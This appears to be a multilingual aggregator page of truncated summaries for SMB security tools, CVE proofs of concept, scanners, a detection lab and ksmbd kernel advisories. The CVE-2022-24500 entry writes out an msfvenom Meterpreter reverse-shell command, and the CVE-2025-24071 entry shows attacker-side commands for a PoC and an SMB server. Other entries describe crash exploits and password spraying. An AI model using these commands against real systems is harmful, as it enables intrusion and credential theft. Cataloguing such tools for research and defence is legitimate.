ntlm-scanner

새 기능! CVE-2020-1472 ZeroLogon 익스플로잇 스캔 네트워크의 DC를 스캔하여 CVE-2020-1472의 실제 익스플로잇을 탐지합니다. 예시: root@kitploit: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target 이 도구는 매분마다 DC에 대해 빈 암호를 시도하는 방식으로 작동합니다. 익스플로잇은 암호를 빈 값으로 설정해야 하므로, 매우 빠르게 되돌리지 않는 한 익스플로...

MSFinger

MSFinger - Microsoft ネットワークサービスフィンガープリンティングツール バージョン: 1.0 著者: Laurent Gaffie 会社: Secorizon 概要 MSFinger は、内部ネットワークの偵察（リコンサンス）向けに設計された高性能ネットワークフィンガープリンティングツールです。SMB、LDAP、LDAPS プロトコル全体で Microsoft サービスを迅速に識別し、セキュリティ設定を検出して、潜在的な脆弱性を強調表示します。 主な特徴: 内部ネットワーク向けに最適化された高速な並行スキャン（デフォルトのタイムアウトは1秒） SMB/SMB2/SM...

SMBetray

SMBetray Version 1.0.0. このツールは、攻撃者が安全でないSMB接続を傍受して変更する能力、および資格情報が既知であれば一部の安全なSMB接続を侵害する能力を示すPoC（概念実証）です。 背景 Defcon26で「SMBetray - Backdooring and Breaking Signatures」として公開されました。...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 説明 このシンプルなPythonスクリプトは、SMBプロトコルを使用してターゲットのIPアドレスとポートにペイロードを送信することができます。教育目的でSMBエクスプロイトペイロードの使用法を示すために設計されています。ペイロードは、特定のバイト列を含むハードコードされたSMBメッセージです。 ⚠️ 重要な注意事項 責任を持って使用してください: このスクリプトは教育目的のみを対象としています。許可のない活動や悪意のある活動に使用しないでください。 ペイロード:...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost 一个利用 CVE-2020-0796 的简单演示。该脚本会在易受攻击的机器上触发蓝屏（BSoD）。 纯 Python 3 编写，无需额外依赖。 使用方法 python CVE-2020-0796-DoS.py 致谢 硬编码的数据包来源于 maxpl0it 的 PoC 脚本。...

CVE-2022-24500

CVE-2022-24500 RCE エクスプロイト Windows SMB リモートコード実行の脆弱性 脆弱性: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 ステップ1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin ステップ2 root@kitploit: msf5 use...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 小型扫描器，用于检查机器是否运行SMBv3（可能受CVE-2020-0796漏洞影响）...

CVE-2025-55234

CVE-2025-55234 この脆弱性により、攻撃者はSMB（Server Message Block）プロトコルに対するリレー攻撃を実行できます。攻撃が成功すると、特権の昇格（EoP）につながる可能性があり、実質的に権限のないユーザーがシステム上でより高いレベルのアクセス権を取得できるようになります。 Mark Mallia 著 問題 この脆弱性により、攻撃者はSMB（Server Message...

cve-2023-23397-detection-lab

CVE-2023-23397 Detection & Mitigation Research Lab Overview This project is a defensive cybersecurity research lab focused on the network behavior associated with CVE-2023-23397. The project studies suspicious outbound SMB and NTLM authentication from a Windows endpoint and demonstrates a complet...

MSF_PassSpray_Wordlist_Generator

패스워드 스프레이 워드리스트 생성기 Metasploit 프레임워크용 워드리스트를 생성하여 피해자 도메인의 다양한 네트워크 프로토콜SMB 등에 대해 패스워드 스프레이 공격을 수행할 수 있도록 도와주는 편리한 도구입니다 : 설명 Metasploit에는 다양한 서비스나 프로토콜에 대한 무차별 대입 공격을 수행하는 데 사용할 수 있는 여러 모듈이 있습니다. "SMBLogin" 모듈을 예로 들면, SMB 프로토콜이 열려 있는 시스템에 대해 여러 로그인을 테스트하여 피해자의 비밀번호를 얻으려고 시도합니다 . 윤리적 해커로서 , "계정 잠...

CVE-2020-0796-POC

CVE-2020-0796 사전 인증 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수 찾기 CVE-2020-0796 / "SMBGhost" 확인용 POC 예상 결과: 블루 스크린 교육 및 기업 환경에서의 테스트 전용입니다. ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용에 따른 위험은 사용자 본인에게 있습니다. 서버, 엔드포인트 및 모바일 장치에서 SMBGhost 및 기타 공격 유형을 자동으로 탐지하는 에이전트 없는 DFIR 도구에 관심이 있으시면...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw resides in the handling of SMB2SESSIONSETUP commands. The problem arises due to a lack of control over resource consumption. An attacker can exploit this vulnerability to...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the processing of SMB2SESSIONSETUP and SMB2LOGOFF commands. The issue arises due to the lack of proper locking when performing operations on an object. An...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.9. ksmbd does not validate the SMB request protocol ID, resulting in an out-of-bounds read...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fixed an issue where shareconf was freed after use, in compound requests. smb2getksmbdtcon reuses work-tcon in compound requests without validating tcon-tstate. ksmbdtreeconnlookup checks that tstate is equal to...

CVE-2026-74521

In the Linux kernel, the following vulnerability has been resolved: ksmbd: use memcmp to compare ClientGUIDs ClientGUID is a fixed-size binary value and can contain embedded NUL bytes. strncmp stops comparing at the first NUL byte, so different ClientGUID values can incorrectly be treated as equa...

CVE-2026-72492 ksmbd: fix use-after-free in same_client_has_lease()

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in sameclienthaslease sameclienthaslease returns an opinfo pointer from ci-moplist after dropping ci-mlock without taking a reference. smbgrantoplock then dereferences that pointer in copylease and when...